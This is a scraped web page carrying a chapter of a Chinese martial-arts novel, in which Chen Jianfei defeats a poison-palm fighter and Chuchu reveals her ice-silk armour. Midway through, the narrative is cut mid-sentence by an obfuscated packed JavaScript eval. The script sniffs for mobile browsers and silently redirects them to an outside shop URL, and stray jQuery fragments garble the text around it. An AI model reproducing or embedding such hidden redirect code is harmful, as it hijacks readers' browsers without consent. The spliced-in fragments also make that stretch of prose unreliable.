文趣网 > 其他小说 > 大唐豪侠传之龙吟九天 > 29.第 29 章
    第二十九章  狭路相逢

    那老者再也忍奈不住了,大喝一声,双掌呼呼,向楚楚了过去。楚楚惊呼一声,躲到陈剑飞背后,叫道:“哥哥,他欺负我,你快打他。”陈剑飞听她硬拉自己下水,再要分辨只怕也是无用,当下力凝双臂,向那老者的掌路来势迎去。

    二人各展所学,顿时便斗在一起,那老者掌力浑厚,掌法十分诡异,每一招都暗藏有致命的杀机。而陈剑飞所用用是师门绝学“飘云掌”双掌飘飘,盘旋飞舞,攻守有度,那老者抢攻数次,均无法占得上风。转瞬之间二人便已翻翻滚滚拆过了五六十招。那老者越头越惊,暗想:“这小子武功不弱,只怕未必在我之下,却不知是哪一派的弟子?”

    他心内这么一想,心神稍分,陈剑飞瞧得时机,连发数掌进攻,那老者心下一惊,急忙奋力接招,这才及时化解。又斗了十余招,那老者见陈剑飞掌法精奇,单凭掌法而言要想赢他,只怕没那么容易,不由心中毒念顿生。

    陈剑飞不想与对方结仇太深,是以“飘云掌”中的精妙杀着并未去用,心想等斗个几十招便罢手言和,这样也可给对方一个台阶下。正想间,就见那老者双掌一错,掌分二路,分袭自己前胸小腹两处要害而来。当下挥掌横击,迎势而上。

    掌到半途时,忽见那老者两掌掌心中有一块铜钱大小的红斑,呈血红之色,同时鼻中闻到一股淡淡的腥臭之气,心下一惊,知那老者的两掌定有剧毒,只要自己与他双掌相接,他掌中的毒质就会侵入到自己掌中,然后毒质顺着手臂上的经脉向上,很快就会传遍全身,是一门极为厉害的武功。

    陈剑飞反应极快,见势不妙,立即撤掌换招,双掌疾翻向上,抓向那老者的双腕。那老者满以为这回陈剑飞必会中招,却没料到他反应会有如此之快,急忙变招闪身,避开陈剑飞这一抓。

    陈剑飞松了口气,又瞧了那老者掌心一眼,忽想起师父曾经提过江湖中有一个叫“血魂门”的帮派,这个帮派十分神秘,其门内有一门绝学名“血砂掌”极为厉害,名称虽与江湖中的“铁沙掌”、“黑沙掌”差不多,但本质却相差极大。“铁沙掌”、“黑沙掌”都属于外家硬功,掌上虽也都有毒,但那都是在用时涂上去的,只要稍懂此道的人,一眼便可以看得出来,从而事先有了防备,使出掌者不易得手。

    而“血砂掌”则全然不同,它是一种内家的功法,练此掌时需用新鲜的血液融入剧毒,涂在双掌中运起内功心法,将之慢慢吸收入体内,初时双掌掌心会呈血红之色,随着功力的增加,血红之色也就会慢慢变小,红斑越小,那就说明掌法功力越深,体内的毒质则会越积越多,练到极致之时,掌心的红斑就会完全消失,出掌之时不会有丝毫的迹像,使对手事先不会加以留意防备,只要一不留神碰到对方的手掌,便会在无形间中毒。

    不过这门功夫太过阴毒,练法又太残忍,是以向来都为正道中人所不耻,一直以来都被视为邪门武学。

    血魂门因作恶多端,为祸武林,三十余年前,被一代大侠“青萍神剑”林峰带领武林同道所灭,血魂门弟子大部被歼,“血砂掌”从此也显见江湖,事隔多年,大家都以为它已经失传了,想不到竟然还有人会用。

    陈剑飞道:“好厉害的‘血砂掌’,想不到失传了几十年后,竟还有人会用。阁下想来便是当年血魂门的漏网之鱼吧?”

    那老者脸色一变,没想到陈剑飞能一眼看出他的武功出处,哼了一声,道:“即知这是什么功夫,当也知道它的厉害吧?”陈剑飞道:“久闻‘血砂掌’的大名,不过……”那老者道:“不过怎样?”陈剑飞正待要说,楚楚接过话头,说道:“不过这你等末流的功夫只配给人家搔搔脚底板,抓抓痒而已,就凭你这三脚猫的功夫,少在这里丢人现眼了,快快滚滚回家抱孩子去吧。”

    那老者听的差点没气背了过去,他名邓天标,是在三十多年前血魂门被武林盟军攻破后,侥幸逃出来的几人,几十年来隐姓埋名,苦练此技,终有所成,没想他引以为豪的神功,竟被楚楚说的一钱不值,他嫣能不气,再也按捺不住心头的火气,挥掌猛击,掌中夹着阵阵星臭之气横扫而来。

    陈剑飞知他这掌风中的毒气也接近不得,左手托住楚楚的柳腰,闪身避开。同时右掌挥拍,驱散逼来毒气。楚楚小腿上有伤,这一移动,牵动伤口,忍不住“哎哟”痛呼一声。陈剑飞一惊,忙问道:“你怎么啦?没有事吧?”楚楚白了他一眼,伸手捂住伤口,嗔道:“没有事再怪,人家腿上有伤你不知道吗?”

    陈剑飞正要开口分辨,又觉邓天标发掌击来,忙斜身略退,挥掌迎击。邓天标一击不中,跟着左掌斜转,呼的又是一掌,陈剑飞见他掌心的那块红斑突然间红亮了许多,心知这是毒势加强迹像,自己避开倒不是什么问题,但还要照顾到楚楚,就没有十成的把握了。当下不及细想,右手五指并拢,避过邓天标的右掌,倏然点出,直指邓天标脑门间的“太阳穴”,跟着左手凝指成虎爪形,由右侧抓出。

    这一招正是五戒所传绝技“虎鹤双行”中的招数。出招之快,认位之准,招法之奇,都大大出乎邓天标的意料之外。邓天标不及回招格挡,只得后跃疾退。陈剑飞紧跟上前,右手变鹤钳手为虎爪,直切向下,抓向邓天标左腕脉门。

    这一招突如其来,事先无半点预兆,邓天标心下大惊,急转闪避,连连向后又退了数不,这才躲开陈剑飞这闪电般的一抓。

    陈剑飞初用“虎鹤双行”便大见其效,信心大增,双手变幻不定,又连攻出五六招。邓天标还是生平第一次见到“虎鹤双行”这门武学,嫣知其中的奥妙,一时间手忙脚乱,有两次就差点中招了。好在他江湖经验老到,慌乱了片刻便定下心来,凝神接招,运掌如风,逼发体内蕴含的毒质,掌风中毒气大盛。四周的众人闻到腥气,急忙纷纷往向退让。

    陈剑飞向楚楚叫道:“快闭住呼吸,退到一边去。”楚楚关切道:“那也要多加小心啊。”陈剑飞点点头,道:“放心好了。”言罢一声鹤鸣,单足独立,双手分合倏进,连环攻出。邓天标在“血砂掌”上浸淫了三十余年,不过他得来的那份掌谱有些残缺不全,无法学到全部内容,是以练到手掌掌心中的红斑只有铜钱般大小时,便没法再更深入一层,不过即便是如此,这也仍是一门极为厉害的功夫,邓天标练成后用他打败过不少江湖高手,其中有不少人武功还在他之上,只因他掌法诡异多端,发毒无形,稍不留心,便会中计中毒。

    二人所用都是当世一流的武学,只不过一个扬名江湖多年,一个是新研初创不久。邓天标自恃陈剑飞不敢接他的毒掌,双掌呼呼,全是进攻的招数,一招比一招更加的阴狠毒辣。

    陈剑飞凝神静气,双手招式变化万端,绵绵而出,邓天标虽尽力而施,却也挨不得他的身,还要提防他那神出鬼没的奇招怪式,实不敢有半点的大意,一时间也奈何不得他。

    转瞬之间,二人便已斗到百招以上,陈剑飞自从五戒那学到“虎鹤双行”后,这还是关一次用于实战,初时招式路数还有些生疏,但斗过百招以后,与实战中又领悟到不少其精妙所在,起初是只有三成攻,七成守,渐渐的变成攻守兼半,又斗过几十招,招数渐渐纯熟,攻势如潮,奇招妙式,层出不穷,直看的邓天标眼花缭乱,越斗下去,心中越是惊讶:“这小子用的是什么功夫,怎么我从来也没见过,再这样斗下去,只怕我就要败在这小子的手里了。”

    心中不免暗暗焦急,又加了两成真力,掌力更猛,毒气也更盛。陈剑飞已反复将“虎鹤双行”使了数遍,每用一遍,便觉都有一各不同的感觉,越用越觉奇妙无穷。而邓天标久战不下,心中不免焦躁,心中杀机陡生,展开“血砂掌”中的追命绝杀“血影追魂”,但见双掌连连拍拍出数掌,红光大现,瞬息之间,陈剑飞全身便犹如笼罩在一团红雾中一般,分辨不清他的掌势来路。

    四周的帮众见状,纷纷掩鼻后退,不过楚楚站在原地却是未动,好似一点事也没有,即不掩鼻,也不闭气,反面还不时的叫嚷着给陈剑飞助阵。

    邓天标望了楚楚一眼,心下惊异万分,他这毒掌之气,蕴含有剧毒,人只要一闻到,便会立即感到头昏眼花,四肢无力,若不赶紧运功逼毒,不出顿饭功夫就会昏迷不醒,一个时辰内若无解药,便必死无疑。但看楚楚的模样,却没有一点中毒的样子,出现这种情况一般只有两种可能,一种是自己修为已达颠峰之境,周身百毒难侵,一种便是服有天地间某种辟毒灵丹,不怕百毒侵体。但要想达到百毒不侵这种境界,依楚楚的年纪修为显然是不可能的,而后一种虽然容易达到,但要想找到这种辟毒灵丹,却是难上加难,千百年间也难得找出来三四件罢了。由此可见楚楚身份实不简单。

    邓天标激斗之际,自己也无空去想那么多,惊异了一阵,转念又全力向陈剑飞进攻。陈剑飞知他周身已沾满了剧毒,靠近不得,当下展开身法,游身而斗。

    他轻功远在邓天标之上,任邓天标使尽全力,也无法追到陈剑飞的近处,毒掌虽狠,却也伤不到他分毫。楚楚大声喝彩,叫道:“好啊,好啊,陈大哥你看那臭老头累得脸红脖子粗,翻眼吐舌头,看样子这条老命差不多快要完了。”

    邓天标久战无功,本就已是怒恼万分,听得楚楚一阵嘲讽,气的脸都绿了,猛得听他大吼一声,腾空跃起双掌自上而下,向陈剑飞呼呼呼连拍三掌。

    陈剑飞立掌于胸紧守门户要害,身如柳絮向右飘出,忽闻“嗖嗖嗖”数声,六道白光突然自邓天标的袖中飞出,直向陈剑飞胸前射去。

    陈剑飞与他想距不过七八尺,距离甚近,事前又全无预兆,而陈剑飞又全然没想到他会有此一招,大惊之下,疾提一口真气,“一鹤冲天”身子拔地而起,同时双掌齐舞,护住全身要害。

    那六道白光是六柄极窄的飞刀,平时安装在邓天标双臂上的机括之中,待到危急时刻,在出掌的同时,按动机括上的开关,出掌的同时,飞刀也一同射出,对方往往只注意他的掌势,而注意不到他袖中的飞刀,再加上双方又是近身相搏,距离极近,很难有所防备,是一记极为阴毒的杀招,在他此招下送命的高手不在少数。

    总算陈剑飞命不该绝,四柄飞刀被他的掌力震得斜飞了开去,另两柄飞刀则从他的脚下堪堪飞过,只要他再往下低一点,飞刀便会射到他脚背之上了,可谓是险之又险。

    陈剑飞朝后连翻了两个空心筋斗,跃到三丈之外,一颗心犹自怦怦直跳,大为后怕,忽听楚楚啊的一声大叫,心下一惊,连忙回头望去,就见楚楚躺倒在地,胸口处插有两把飞刀。

    原来邓天标所发的六把飞刀,被陈剑飞用掌力震开四把,别两把被他躲过,但不巧的是楚楚正站在他身后方处,躲避不及,被飞刀射中。陈剑飞脸上失色,急忙上前扶起楚楚,叫道:“楚楚,楚楚姑娘。”楚楚双目紧闭,脸色苍白,全无反应。陈剑飞伸手一摸她的鼻息,竟然气息全无。

    便在此时,邓天标又挥掌击来,陈剑飞怒火上冲,放下楚楚,转回过身,运集全身功力,硬硬封出一掌。砰的一声大响,邓天标蹬蹬蹬连退了五六步远,这才稳住身形,陈剑飞则只退了三步,跟着深提了一口真气,大喝一声,纵身扑上,掌拳齐发。

    他恼怒邓天标手法狠毒,卑鄙无耻,出掌之间已绝不容情,先前他还想大事化小,小事化了,不愿与邓天标结仇太深,此刻却是全力而为,要为楚楚报仇。

    邓天标的“血砂掌”虽然厉害,但十分的耗费真力,尤其是那“血影追魂”更是耗费真气,邓天标久战陈剑飞不下,只得才出此绝招,本想能一击而中,却没想到陈剑飞竟能躲得过去。

    眼见陈剑飞挥掌劈开,只得奋力还击,但陈剑飞在盛怒之下,潜力勃发,掌力势不可挡。十招刚过,他便已左拙右支,呈见败像。

    又斗得数招,陈剑飞招式忽一变,双掌年凝指成爪。邓天标出其不意,一不留神,“嗤”的一声,右臂袖子被陈剑飞左手抓去大半截,邓天标心下大惊,急忙收臂,左掌竖起横切而下,陈剑飞右掌上翻,抓向他左肩肩头。邓天标瞧得真切,心知这一下若是让陈剑飞抓的实了,自己这条左臂非残废了不可,急忙身向后仰,右掌疾推而出,意欲逼开陈剑飞。

    陈剑飞出招之时,早已算计到他会有此一招,当下身向右斜,左手直抓而进,快如闪电一般抓向邓天标。

    邓天标想不到陈剑飞变招如此之快,待他查觉到不妙,却为时已晚,陈剑飞左手已抓到他胸前,正中“神封”、“中庭”两穴。邓天标只感胸口一阵剧痛,内息难行。陈剑飞右手上抄,挥拳击出,正中邓天标的胸口,邓天标一口气没有换过来,无力封挡,给陈剑飞一拳击中,登时一口鲜血喷了出来。

    陈剑飞适才所用乃是“大擒龙手”中的一招“暗渡陈仓”,与孙子兵法中“明修栈道,暗渡陈仓”之意可谓是一点都不差,精妙至极,虚实难摸。

    陈剑飞左手松开他的胸口穴道,抓住他的右臂,见他右臂上绑的机弩,心中更怒,运力一拗,喀喇一声,邓天标的右臂便给拗断了,直痛得的他一声闷哼,额头青筋突起,冷汗直流,痛得欲要昏死过去。

    忽听背后有人拍手叫道:“好啊,好啊,再用些力,扭死这糟老头子。”陈剑飞扭头一瞧,却见楚楚不知何时已经站起来了,笑嫣如花,却哪里还有一点中毒欲死的样子,不由的又是惊奇,又感欢喜,问道:“楚楚,你……你怎么一点事也没有,我刚才明明看见你气息全无了?”

    楚楚笑道:“就凭他这点本事还想伤小姐,还差得远呢!”伸手拔下胸口上的两把飞刀,走到邓天标旁边,道:“糟老头,你竟敢拿飞刀来射本小姐,哼!我也让人尝尝它的厉害。”

    右手一扬,两把飞刀射出,一刀射在他右肩窝上,一刀射在他左肋处,这两处虽都不是要害之处,但也是伤得不轻,飞刀上虽有剧毒,但与他所练毒掌之毒相同,因此毒性虽猛,一与他体内之毒相接触,便也起不了多大的作用了。

    楚楚拍拍手,笑道:“这叫以其之道,还制其人之身,以后再遇到本小姐,最好滚得远远的。”陈剑飞大惑不解,问道:“楚楚这到底是怎么回事,我明明见你中的飞刀,你怎么一点伤也没有呢?”楚楚眨了眨眼,笑道:“本小姐练有刀枪不入的神功,这两把小小的飞刀又能奈我何。”

    陈剑飞自是不信,道:“你即没事,也别装死啊,害的我担心死了。”楚楚脸上一红,轻啐了他一口,说道:“活该,谁让你那么笨了?”

    陈剑飞本是无心之话,当下也不多想与她争辩,松开右手,放开邓天标。邓天标受伤不轻,站立不稳,刚走开两步,便摔在地上,旁边忙上前两人扶起他,其他见陈剑飞如此厉害,谁还敢上前送死。邓天标咬咬牙,道:“邓某学艺不精,怨不得别人,敢问阁下高姓大名?”

    陈剑飞道:“在下陈剑飞,你若想报仇,尽管来找我便是,不过在下也要奉劝你一句话。”邓天标道:“阁下请讲。”陈剑飞道:“我辈之人行事理应光明磊落,你那等手段最好还虽收起来吧,要不然下次再遇到我,在下绝不再容情。”邓天标脸色变了变,道:“好,好,咱们走。”众人扶着他,又架起其他受伤的人,退出客栈而去。

    围在客栈外面看热闹的人,见已无热闹可看,便都慢慢散去了。那客栈掌柜与众伙计回到里面,又是哭爹,又是喊娘的,叫苦不迭。楚楚听的心烦,取出一张银票扔给那掌柜,喝道:“叫喊什么,本小姐将你这客栈全包了。”那掌柜见是一张五百两的银票,足够买他这整个客栈,直吓的一伸舌头,哪敢再多去叫。

    楚楚又道:“快快让把这里打扫干净了,准备一桌上好的酒菜来,要是敢慢了一步,小心你们的脑袋。”那掌柜连声应是,哪敢说半个不字,急忙带众伙计收拾打扫大厅后院,生怕慢了一步,惹到她这个女煞星,那自己可就要倒大霉了。

    巧儿也走了进来,她见陈剑飞满头的大汗,伸手从袖中取出一条手帕,递给他道:“陈大哥,看你满头大汗的,快擦擦吧!”陈剑飞道了谢,接过手帕,巧儿一笑,道:“谢什么,你这又见外了不是?”楚楚在一边看到,心中大不高兴,又感小腿伤口处阵阵发痛,叫道:“喂!你们别亲热了好不好?我的腿好痛啊,哼!真是重色轻友。”

    陈剑飞与巧儿听到均是脸上一红,心头大跳,陈剑飞忙道:“谁让你动不动就去惹事生非,这就叫做自作自受。”楚楚脾气上来,忽然“哇”的一声,哭了出来。陈剑飞吓了一跳,道:“你……你怎么了,好端端的又哭什么?”楚楚不理,只是大哭,神情甚是悲切。

    陈剑飞不知是怎么回事,站在那里束手无策直发愣。巧儿轻轻一笑,上前柔声安慰,道:“妹妹,你是不是伤口痛啊,来,姐姐给你包扎一下。”楚楚嗯了一声,顺从的点点头。

    巧儿扶她来到一间房内坐下,将她左腿抬起,轻轻撕开裤筒,就见伤口并不很深,只伤到了皮肉,没碰到筋骨。巧儿自怀中取出一个小瓷瓶,拔去塞子,倒了些粉红色的药粉在她的伤口上。那药粉极是灵验,楚楚本觉在腿火辣辣的钻心般的痛,这一涂上药粉,顿觉伤口凉嗖嗖的极是舒服。

    陈剑飞见她不再哭闹,心中稍定,暗下寻思:“这小姑娘太过古怪,以后还是少惹为妙,不然又不知会弄出什么花样来。”

    巧儿给楚楚抹完药,又取出一卷纱布,撕下一截把伤口包住。待收拾完毕,道:“好了,要不了几天就会好了,这几日记住不要乱走动,以免牵动伤口。”

    又见楚楚胸口处衣衫破了两上洞,惊道:“你身上也受伤了?”楚楚嘻嘻笑道:“他们想伤到我,哪有那么容易。”腮边尚挂有几滴晶晶泪水,脸上却已是笑嫣如花,陈剑飞瞧到,心中又是好气,又是好笑。也不敢多说什么,只怕她一发脾气,不知又会有什么新花样,那可就头痛之极了。

    楚楚不放心,道:“真的没有事吗?”陈剑飞也道:“是啊,依你现在的年纪,要想练到刀枪不入

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754554|209484||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,那是不可能的,到底是怎么回事啊?”楚楚道:“好吧,看在你救本小姐的份上,告诉你们也无妨,其实也很简单。”伸出左臂卷起外衣袖,露出里面的衣服,道:“你来看看,可认得这是什么?”

    陈剑飞走近一瞧,只见她外衣之下还有一件薄如蝉翼的纱衣,不觉奇怪,伸手一摸,触手只觉那纱衣凉凉的,滑滑的,轻轻一拉,却极具韧性。奇道:“咦!这……这是怎么回事?”楚楚大是得意,道:“好吧,告诉你吧,你可在江湖中听说过‘冰蚕丝甲’?”陈剑飞心头一惊,说道:“‘冰蚕丝甲’,那可是千年得一见的宝物,难道这就是名震天下‘冰蚕丝甲’?”

    楚楚笑道:“就是它了。”巧儿道问道:“陈大哥,什么是‘冰蚕丝甲’啊?”陈剑飞道:“我听师父曾说过在极北的苦寒之地,生长有一种极为稀有的冰蚕,这种冰蚕所吐的丝极为坚韧,天下任何的神兵利刃也砍不断它,将这此丝收集起来编织起来,又加入西域极为罕见的乌丝,编织起来便就是这‘冰蚕丝甲’了,别看这‘冰蚕丝甲’薄如蚕翼,但极为坚韧水火不俱,便是极为锋利的兵刃也伤不了他分毫,不过这种冰蚕极为罕见,每年吐的丝很少,要想收集到足够编织到一件‘冰蚕丝甲’的蚕丝,则是极难,据古书记载,前朝汉室之时,曾有西域国使者向汉室皇朝进贡过一件,但历经数百年后,它的下落早就不得而知了,想不到今日能有幸看到它。”

    楚楚道:“算你还有些见识,差不多也就是这样了。”陈剑飞道:“楚楚姑娘,恕在下冒昧的问一句,你这件‘冰蚕丝甲’从从何而来的?”楚楚道:“这个嘛……”

    巧儿插嘴道:“陈大哥,你就别多问了,即是罕世之物,想来这其中必会有许多曲折经历,有不便明讲之处。”楚楚嘻嘻一笑,道:“还是姐姐明白事理。”陈剑飞点点头,不再多问。

    巧儿又道:“对了陈大哥,刚才那都是些什么人啊?”陈剑飞道:“不很清楚,不过看他们的打扮像是某一帮派的人。”楚楚插口道:“他们是白龙帮的人。”

    陈剑飞道:“白龙帮,那可是中原四大帮派之一啊!楚楚姑娘,你是怎么知道的?”楚楚道:“你没瞧他们身上绣的飞龙吗,那就是他们的标志,由高至低依次为金、银、白、紫、红、绿、黑,这老头绣的是白龙,在帮中也属一流的脚色。”

    陈剑飞见她说的头头是道,如数家珍一般,心想:“她可真是越来越让人捉摸不透,要说她是官家子女,却又怎么懂得这么多的江湖学问,要说她是武林世家的门人子弟,出手却又出奇的大方,江湖中那一门那一派也经不起她这般的花费,真是让人费解,有点神龙见首不见尾。”

    巧儿道:“陈大哥,你刚才打了这么久,也该累了吧,先回去休息一下吧,这里有我一人就行了。”陈剑飞道:“他们这次吃了亏,岂肯轻易罢休,我看此地不宜久留,咱们不如找个僻静的地方,以防万一。”楚楚道:“你就放心好了,他们是绝敢再回来的了。”陈剑飞道:“那你如何而知?”

    楚楚道:“这还不容易想吗,白龙帮一向在北方称霸,向来很少涉足中原腹地,现在不远千里巴巴来到这里,必有什么重要事情要办,哪里会有时间在这里跟你泡磨菇,再者孙子兵法中‘九变篇’中有云:绝地勿留,他们肯定会认为我们打完架后必会尽速离开,以防他们前来报复,但我们就给他们来个以不变应万变,呆在原地不走,他们是绝对想不到的。”

    陈剑飞张大了嘴巴,若非这是楚楚亲口所说,他绝不会相信这是出自楚楚之口,这其间对孙子兵法见解之深,连他也自叹不如。巧儿点点头,道:“楚楚姑娘讲的很有道理,陈大哥我看就不如先在这里住几天,眼下楚楚姑娘腿上有伤,不宜活动,还是等她伤好一些了再走吧?”

    陈剑飞缓过神来,忙道:“好,好吧。”顿了一顿,又道:“我去四周看看,小心一些总是好的。”楚楚哼了一声,很是不屑的样子。陈剑飞也懒得多理会她,出房来到外面,在客栈四周查看了一遍,又叫来客栈的掌柜和伙计,吩咐他们若是有人来打听他们的行踪,就说不知道。一切弄妥,天色已渐渐暗了下来。

    回到后院,就见巧儿从房中走出,上前道:“巧儿,她怎么样了?”巧儿道:“没什么事了,我已经哄她睡着了。”陈剑飞长松了口气,道:“总算可以安静一会了,恐怕也只你这般的好脾气才能受得了她,我对她可是一点办法也没有。”

    巧儿微微一笑,道:“对待她这样的小姑娘,光是气是没有用的,需要你慢慢的哄她才行。”陈剑飞苦笑道:“要慢慢哄她?我可没有那个耐性。”巧儿道:“其实楚楚姑娘天真浪漫,很可爱的,你若留心,不难会发现她有许多的好的优点的。”

    陈剑飞颇感惊奇,道:“巧儿,你与她也只是刚刚认识,怎么就这么了解她呢?我与她认识那么久,还是摸不准她脾气。”巧儿轻笑一下,道:“那是你不够细心,我与她年纪相近,彼此间容易勾通,刚才我在房里跟她说了好多的话,你以前只怕没有跟她详细深谈过吧?”陈剑飞摇摇头,道:“我和她说话,要不了几句话,便非会吵起来不可。”

    巧儿轻轻叹了口气,道:“像她这个年龄的女孩子,大都是这样的,其实我小的时候,脾气也是很坏的,动不动就爱使小性,蛮不讲道理,处处都要争个上风,那时候我姐姐总是让着我……”说到这里,眼圈一红,泣然欲下。

    陈剑飞见状,忙劝道:“巧儿,那都是以前的事了,过去了就让他过去吧,你也不要多想了,你看,这一哭巧儿就没那么美丽了。”巧儿抿嘴一笑,道:“陈大哥,你真会逗人开心,其实说到美丽,楚楚姑娘那才叫美呢!”

    陈剑飞摇头道:“不然,不然,她脾气古怪,老是惹是生非,哪里能及温柔、娴淑的巧儿,我要是娶妻,才不取她那样的呢,定要娶巧儿你……”

    话说到一半,顿觉自己失言,急忙住口,心中咯噔一下,暗叫不好,结结巴巴的道:“我……我是说……”他心中一慌,也不知说什么才好了,心下彷徨不定,唯恐巧儿会生气。

    巧儿闻言,顿时羞得满脸通红,转过身去,一颗心怦怦直跳。她心中自是明白陈剑飞下面想要说的是什么话。陈剑飞大为尴尬,一时间不知说什么才好,隔了片刻,才道:“巧儿,你……你别生气,我……我……”巧儿轻声道:“陈大哥,我怎么会生你的气呢,你别往心里去了,叹!只怕以后你会生我的气。”

    陈剑飞见她没有生气,心中大定,说道:“巧儿你放心,我绝不会生你的气的。”巧儿低下头去,道:“现在也许不会,但以后就……”抬起头凝望向陈剑飞的双目,道:“陈大哥,巧儿以后若是做错了什么事,你……你会原谅我吗?”

    陈剑飞见她双眸中暗含忧伤之色,却不知她因何会如此,想问却又不好多问,说道:“巧儿你别说什么傻话了,你怎么会做错事呢?想来是你这几天赶路太过劳累了,才会这般的去胡思乱想吧?”

    巧儿轻轻叹息了一声,道:“也许是如此吧。”停了片刻又道:“陈大哥,你该饿了吧,我去给做饭。”陈剑飞点点头,目送她向后院厨房走去,心中丝毫没将她刚才的话放到心上。

    用过晚饭,巧儿与楚楚同睡一房,陈剑飞放不下心,时不时的起身在客栈四周巡视一翻,倒也真如楚楚所说,整夜都一点事也没有,临近天亮时,陈剑飞才回到房中打坐运气,调理内息。

    楚楚腿上有伤,暂时不能远行,三人便在客栈中住了下来,楚楚闲的无聊,便拉巧儿在房中叙话,倒把陈剑飞给凉到一边了。待到第五日时,楚楚腿上的伤口已经结愈合结疤,好了七八成了,行走已经无什么大碍了。

    这几日巧儿与楚楚谈得甚是投机,只相处几日便已亲如姐妹一般,楚楚兴致上来,便提出要与巧儿结为异姓姐妹,巧儿起初不肯,但经不住她软磨硬泡,只好点头答应下来。二女各叙了年岁,巧儿长楚楚三岁,自然为姐姐了,楚楚为妹妹,

    二女结拜完毕后,这姐姐妹妹叫的好不亲热。陈剑飞又是惊奇,又是好笑,但也懒得多问,心想只要楚楚不再惹事生非,随她怎么闹腾去吧,有了巧儿这个姐姐也算是件好事,剩得自己多费那份心思。

    到的第六日,三人离开小镇,又往东行。陈剑飞单骑黑马,巧儿与楚楚合骑白马,二女一路上窃窃私语说个不停,也不知是在说些什么,不过大半还是楚楚说的多些。陈剑飞搭不上腔,也不想自找没趣,只跟在一边听着。

    一路东行,倒也平安无事,不一日已进入洛阳地界。越近洛阳,途中所遇到的武林中人也就越多,各人服饰打扮各异,天南地北的皆有,也认不全是哪门哪派的。

    陈剑飞心下思揣这洛阳定是发生了什么大事,不然四方的武林中人也不会巴巴的不远千里而来,他曾偷听过一些武林中人的谈话,但听他们所言也是听到别人的传言,说洛阳有大事发生,所以也来凑个热闹,至于到底是什么事情,则无人知道了。独吞